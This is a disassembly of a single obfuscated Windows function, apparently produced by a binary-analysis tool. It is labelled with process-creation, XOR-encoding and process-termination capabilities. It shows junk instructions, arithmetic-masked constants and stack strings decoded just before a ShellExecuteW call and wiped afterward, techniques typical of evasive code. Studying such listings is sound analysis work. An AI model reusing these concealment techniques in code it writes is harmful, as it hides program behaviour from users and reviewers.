Function at 0x140156b40
Capabilities:
Create process on windows
Encode data using xor
Terminate process

Disassembly:
xchg rbx, r9
mov qword [rsp + 8], r9
xchg r9, rbx
mov qword [rsp + 0x10], rsi
nop
sub rsp, 8
mov qword [rsp], rbp
nop
sub rsp, 8
mov qword [rsp], rdi
push r12
nop
mov qword [rsp - 8], r14
sub rsp, 8
nop
mov qword [rsp - 8], r15
sub rsp, 8
lea rbp, [rsp - 0x2070]
mov eax, 0x68b0177a
xor eax, 0x712f55e8
sub eax, 0xd83704f
xor eax, 0x35fe2c
xor eax, 0x11b11fbd
xor eax, 0x1d9f12a2
call fcn.1401fcee0
sub rsp, rax
xchg rbx, rdx
mov r15, rbx
xchg rbx, rdx
xchg r12, rcx
mov rcx, r12
xchg r12, rcx
xor esi, esi
mov r14d, esi
mov dword [rbp + 0x20b0], esi
test r8b, r8b
je 0x1401574ba
xchg r10, rcx
mov r10, rdx
xchg r10, rcx
call fcn.1400706d0
cmp rax, 3
jb 0x140157339
lea edx, [rsi + 1]
xchg rdi, r15
mov rcx, rdi
xchg r15, rdi
call fcn.14004e340
mov dl, 0x48
add dl, 6
sub dl, 0x48
xor dl, 0x3e
sub dl, 0x18
sub dl, 0x1f
xchg r14, rcx
mov r14, rax
xchg rcx, r14
call fcn.14007e100
test al, al
je 0x140157339
lea r9d, [rsi - 1]
lea r8d, [rsi + 0x1b]
lea rdx, [rbp - 0x20]
xchg rcx, r8
mov r8, qword [r12]
xchg rcx, r8
call fcn.1401634d0
nop
xchg rdi, rcx
mov rcx, qword [r12]
xchg rcx, rdi
lea rcx, [rdi + 0x308]
call fcn.14007ec60
xchg rbx, rax
mov rax, rbx
xchg rbx, rax
lea edx, [rsi + 2]
xchg r11, r15
mov rcx, r11
xchg r11, r15
call fcn.14004e340
lea rdx, [rbp - 0x80]
xchg rcx, rax
mov rax, rcx
xchg rcx, rax
call fcn.14007e6b0
nop
lea r8, [rbp - 0x80]
lea rdx, [rbp + 0x28]
xchg rbx, rsi
mov rcx, rsi
xchg rbx, rsi
call fcn.140052950
nop
xchg r11, rax
mov rcx, r11
xchg r11, rax
call fcn.140175c30
xchg r15, rbx
mov r15, rax
xchg r15, rbx
lea rcx, [rbp - 0x20]
call fcn.14007b670
mov r9, rbx
xchg r15, rax
mov r8, r15
xchg r15, rax
lea edx, [rsi + 0x40]
xchg rdi, rcx
mov rdi, rcx
xchg rcx, rdi
call fcn.14016de10
nop
lea rcx, [rbp + 0x28]
call fcn.140029ba0
nop
lea rcx, [rbp - 0x80]
call fcn.14004c8a0
xchg r15, rbx
mov rcx, rbx
xchg r15, rbx
call fcn.1400706d0
cmp rax, 4
jb 0x140157330
mov rcx, qword [r12]
neg rcx
add rcx, 0xfffffffffffffcf8
neg rcx
call fcn.14007ec60
xchg r15, rbx
mov r15, rax
xchg r15, rbx
lea edx, [rsi + 3]
xchg rcx, r10
mov r10, r15
xchg rcx, r10
call fcn.14004e340
lea rdx, [rsp + 0x60]
mov rcx, rax
call fcn.14007e6b0
nop
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x60]
xchg rcx, r13
mov r13, rbx
xchg rcx, r13
call fcn.140052950
nop
lea rcx, [rsp + 0x60]
call fcn.14004c8a0
lea rcx, [rbp - 0x60]
call fcn.140178ab0
cmp rax, 8
jb 0x1401570c7
lea r9d, [rsi + 8]
xor r8d, r8d
lea rdx, [rbp + 0x48]
lea rcx, [rbp - 0x60]
call 0x140178ac0
nop
mov dword [rbp + 0x20b0], 0x7a13e581
add dword [rbp + 0x20b0], 0x2d7802f
sub dword [rbp + 0x20b0], 0x36d9213c
add dword [rbp + 0x20b0], 0x2d8a98df
sub dword [rbp + 0x20b0], 0x47974ce3
sub dword [rbp + 0x20b0], 0x2c05906f
xchg rbx, rcx
mov rbx, rax
xchg rbx, rcx
call fcn.140175c30
xchg rdx, rax
mov rax, rdx
xchg rdx, rax
lea rcx, [rbp + 0x10]
call fcn.14007af20
xchg rdi, rax
mov rbx, rdi
xchg rdi, rax
mov dword [rbp + 0x20b0], 0x6fec03e9
xor dword [rbp + 0x20b0], 0x4ec82606
xor dword [rbp + 0x20b0], 0x1fcf142c
sub dword [rbp + 0x20b0], 0x1907d7d7
add dword [rbp + 0x20b0], 0x3656e6a
add dword [rbp + 0x20b0], 0x2b1874a4
sub dword [rbp + 0x20b0], 0x54613cf7
mov dword [rsp + 0x40], 0x65b8a2f
add dword [rsp + 0x40], 0x2043ab8c
xor dword [rsp + 0x40], 0x1c617189
xor dword [rsp + 0x40], 0x97e81cb
add dword [rsp + 0x40], 0x4acb6d25
xor dword [rsp + 0x40], 0x66cd3364
add dword [rsp + 0x40], 0xde75f67c
mov dword [rsp + 0x4a], 0x449909b9
xor dword [rsp + 0x4a], 0x253a333
add dword [rsp + 0x4a], 0x28bb484e
xor dword [rsp + 0x4a], 0x46acb51b
add dword [rsp + 0x4a], 0x2cfcf8c7
xor dword [rsp + 0x4a], 0x552df8ec
xor dword [rsp + 0x4a], 0x454443b9
add dword [rsp + 0x4a], 0xb92f0393
mov dword [rsp + 0x4e], 0x5ad75fc1
xor dword [rsp + 0x4e], 0x69ed2cb4
add dword [rsp + 0x4e], 0x49d590ba
xor dword [rsp + 0x4e], 0x7fb4e213
add dword [rsp + 0x4e], 0x21e73b0d
xor dword [rsp + 0x4e], 0x612e6c44
xor dword [rsp + 0x4e], 0x5301a130
xor dword [rsp + 0x4e], 0x368fa7a2
add dword [rsp + 0x4e], 0xdf4eb3df
mov dword [rsp + 0x44], 0x6f69e723
xor dword [rsp + 0x44], 0x4e756df4
add dword [rsp + 0x44], 0x2d797abf
add dword [rsp + 0x44], 0x2a21de50
xor dword [rsp + 0x44], 0x5a76150c
sub dword [rsp + 0x44], 0x6298164
add dword [rsp + 0x44], 0xda5e8170
mov dword [rsp + 0x52], 0x45b939cf
add dword [rsp + 0x52], 0x4cf3421
add dword [rsp + 0x52], 0x336eaa91
sub dword [rsp + 0x52], 0x4ccd53bb
sub dword [rsp + 0x52], 0x39d061b
add dword [rsp + 0x52], 0x35e4591e
sub dword [rsp + 0x52], 0x2f1b6625
xor dword [rsp + 0x52], 0x3d156fb0
add dword [rsp + 0x52], 0xf6042169
mov dword [rsp + 0x56], 0x7ebb3d1a
xor dword [rsp + 0x56], 0x1fd05e00
sub dword [rsp + 0x56], 0x5ef103a8
xor dword [rsp + 0x56], 0x14560473
xor dword [rsp + 0x56], 0x2ee43daa
sub dword [rsp + 0x56], 0x30c5e86d
sub dword [rsp + 0x56], 0x5521f0e
xor dword [rsp + 0x56], 0xfd89a009
xor eax, eax
mov word [rsp + 0x5a], ax
mov edx, esi
movzx eax, word [rsp + rdx*2 + 0x4a]
movzx ecx, byte [rsp + rdx + 0x40]
add cx, ax
mov word [rsp + rdx*2 + 0x4a], cx
mov byte [rsp + rdx + 0x40], 0xa
add byte [rsp + rdx + 0x40], 0x64
xor byte [rsp + rdx + 0x40], 0x17
sub byte [rsp + rdx + 0x40], 0x6e
add byte [rsp + rdx + 0x40], 0x1f
sub byte [rsp + rdx + 0x40], 0x2a
inc rdx
cmp rdx, 8
jb 0x140156fab
mov dword [rbp + 0x20b0], 0x57849842
xor dword [rbp + 0x20b0], 0xd11c067
sub dword [rbp + 0x20b0], 0x1f6845ba
sub dword [rbp + 0x20b0], 0x8ec82b8
xor dword [rbp + 0x20b0], 0x1dcc517d
sub dword [rbp + 0x20b0], 0x2f8cdec7
movups xmm0, xmmword [rsp + 0x40]
xchg rdx, rbp
movaps xmmword [rdx - 0x40], xmm0
xchg rdx, rbp
movsd xmm1, qword [rsp + 0x50]
xchg rdx, rbp
movsd qword [rdx - 0x30], xmm1
xchg rdx, rbp
mov eax, dword [rsp + 0x58]
mov dword [rbp - 0x28], eax
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 8]
call fcn.14007c520
nop
mov r14d, 0x6712b756
xor r14d, 0x1b2e2f0c
xor r14d, 0x581f56fb
sub r14d, 0x6efaed5
add r14d, 0x40310ceb
sub r14d, 0x46b4117
xor r14d, 0x2b159f42
sub r14d, 0x73ec74d3
mov dword [rbp + 0x20b0], r14d
xchg rdx, rax
mov rax, rdx
xchg rdx, rax
mov rcx, rbx
call fcn.14007b5f0
test al, al
je 0x1401570c7
mov bl, 0x7a
xor bl, 0x62
sub bl, 1
add bl, 0xe
add bl, 4
sub bl, 0x28
add bl, 0
jmp 0x1401570c9
xor bl, bl
test r14b, 8
je 0x1401570e8
and r14d, 0xfffffff7
mov dword [rbp + 0x20b0], r14d
lea rcx, [rbp - 8]
call fcn.14007b330
nop
test r14b, 4
je 0x14015713f
and r14d, 0xfffffffb
mov dword [rbp + 0x20b0], r14d
xchg r15, rax
mov r15, rsi
xchg r15, rax
nop word [rax + rax]
mov byte [rsp + rax + 0x4a], 0x11
xor byte [rsp + rax + 0x4a], 0x1b
xor byte [rsp + rax + 0x4a], 0x2c
add byte [rsp + rax + 0x4a], 0x23
xor byte [rsp + rax + 0x4a], 0xf
xor byte [rsp + rax + 0x4a], 0x47
sub byte [rsp + rax + 0x4a], 1
inc rax
cmp rax, 0x10
jb 0x14015710f
test r14b, 2
je 0x14015715e
and r14d, 0xfffffffd
mov dword [rbp + 0x20b0], r14d
lea rcx, [rbp + 0x10]
call fcn.14007b330
nop
test r14b, 1
je 0x14015717c
and r14d, 0xfffffffe
mov dword [rbp + 0x20b0], r14d
lea rcx, [rbp + 0x48]
call fcn.140029ba0
test bl, bl
je 0x140157326
lea rcx, [rbp - 0x60]
call fcn.140175c30
xchg r8, rax
mov rax, r8
xchg r8, rax
mov dword [rsp + 0x30], 0x33fb9e9d
xor dword [rsp + 0x30], 0x11b3e115
add dword [rsp + 0x30], 0x2be045d3
sub dword [rsp + 0x30], 0x20f18a7c
xor dword [rsp + 0x30], 0x65a83a0a
sub dword [rsp + 0x30], 0x123184b6
add dword [rsp + 0x30], 0xc0897ad7
mov dword [rsp + 0x36], 0x4cc77079
xor dword [rsp + 0x36], 0x5d43b445
add dword [rsp + 0x36], 0x172d0261
xor dword [rsp + 0x36], 0x339c227e
sub dword [rsp + 0x36], 0x2d06de0
add dword [rsp + 0x36], 0x32908d22
add dword [rsp + 0x36], 0xb48cfb54
mov dword [rsp + 0x3a], 0x68ed1824
sub dword [rsp + 0x3a], 0x22011a17
sub dword [rsp + 0x3a], 0x2ed83118
add dword [rsp + 0x3a], 0x43c027dc
xor dword [rsp + 0x3a], 0x51a52583
add dword [rsp + 0x3a], 0xf5022e1d
xor eax, eax
mov word [rsp + 0x3e], ax
xchg r8, rax
mov r8, rsi
xchg r8, rax
nop dword [rax]
movzx ecx, word [rsp + rax*2 + 0x36]
movzx edx, byte [rsp + rax + 0x30]
add dx, cx
mov word [rsp + rax*2 + 0x36], dx
mov byte [rsp + rax + 0x30], 0x1a
xor byte [rsp + rax + 0x30], 0x17
xor byte [rsp + rax + 0x30], 0x37
add byte [rsp + rax + 0x30], 0x36
sub byte [rsp + rax + 0x30], 0x12
add byte [rsp + rax + 0x30], 0xa
sub byte [rsp + rax + 0x30], 0x2b
sub byte [rsp + rax + 0x30], 0x3d
inc rax
cmp rax, 4
jb 0x140157249
mov dword [rsp + 0x28], 0x243b499d
add dword [rsp + 0x28], 0xc4fea43
xor dword [rsp + 0x28], 0x6a12b4ad
sub dword [rsp + 0x28], 0x26ad917b
add dword [rsp + 0x28], 0x4bc990ae
xor dword [rsp + 0x28], 0x791f8fc1
xor dword [rsp + 0x28], 0x5d8e6628
sub dword [rsp + 0x28], 0x53c62a07
xor dword [rsp + 0x28], 0x75e4563
xchg rsi, r15
mov qword [rsp + 0x20], r15
xchg r15, rsi
xor r9d, r9d
lea rdx, [rsp + 0x36]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop dword [rax]
mov byte [rsp + rsi + 0x36], 0x6b
add byte [rsp + rsi + 0x36], 0x10
xor byte [rsp + rsi + 0x36], 0x5a
sub byte [rsp + rsi + 0x36], 0x12
xor byte [rsp + rsi + 0x36], 0x3c
add byte [rsp + rsi + 0x36], 6
sub byte [rsp + rsi + 0x36], 0x39
inc rsi
cmp rsi, 8
jb 0x1401572f6
lea rcx, [rbp - 0x60]
call fcn.140029ba0
nop
lea rcx, [rbp - 0x20]
jmp 0x1401574b5
mov r9d, 0x50886c62
add r9d, 0x1ba4609b
sub r9d, 0x50e7b1e5
add r9d, 0x57df6ca9
sub r9d, 0x707a3d78
add r9d, 0x2579c97f
add r9d, 0x31a17ca2
sub r9d, 0x2bc93d0
add r9d, 0xa8f70365
lea r8d, [r9 + 0x1c]
lea rdx, [rbp - 0x80]
mov rcx, qword [r12]
call fcn.1401634d0
nop
mov r9d, 0xa0665cb
xor r9d, 0x5ac13d30
sub r9d, 0x5f964e5
xor r9d, 0x20f2c3b2
sub r9d, 0x2b04d4f9
sub r9d, 0x34db47db
add r9d, 0x5a25f3a8
add r9d, 0x9b7af187
lea r8d, [r9 + 0x1d]
lea rdx, [rsp + 0x60]
xchg r8, rcx
mov r8, qword [r12]
xchg r8, rcx
call fcn.1401634d0
nop
xor edx, edx
mov r8d, 0x44a166c8
sub r8d, 0x2817b7d5
add r8d, 0x42115177
add r8d, 0x495dd4d
xor r8d, 0x2cc5a1b0
add r8d, 0x1c13b073
xor r8d, 0x6c090c7a
lea rcx, [rbp + 0x70]
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [r12]
sub rcx, 0xfffffffffffffaa0
call fcn.14007ba70
xchg rbx, rax
mov rax, rbx
xchg rbx, rax
lea rcx, [rsp + 0x60]
call fcn.14007ba70
xchg r8, r13
mov r13, rbx
xchg r13, r8
xchg rdx, r15
mov r15, rax
xchg r15, rdx
lea rcx, [rbp + 0x70]
call fcn.140086ea0
mov rbx, qword [r12]
lea rcx, [rbp - 0x80]
call fcn.14007b670
lea r9, [rbp + 0x70]
xchg r8, rax
mov rax, r8
xchg r8, rax
mov edx, 0x1656ad96
xor edx, 0x39074cd6
xor edx, 0xfc27c80
add edx, 0x463d9803
xor edx, 0x23f6f679
add edx, 0x2a8ed222
xor edx, 0x6a5d093a
add edx, 0x11dff079
sub edx, 0x17cb8d1f
mov rcx, rbx
call fcn.14016de10
nop
lea rcx, [rsp + 0x60]
call fcn.14007b330
nop
lea rcx, [rbp - 0x80]
call fcn.14007b330
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3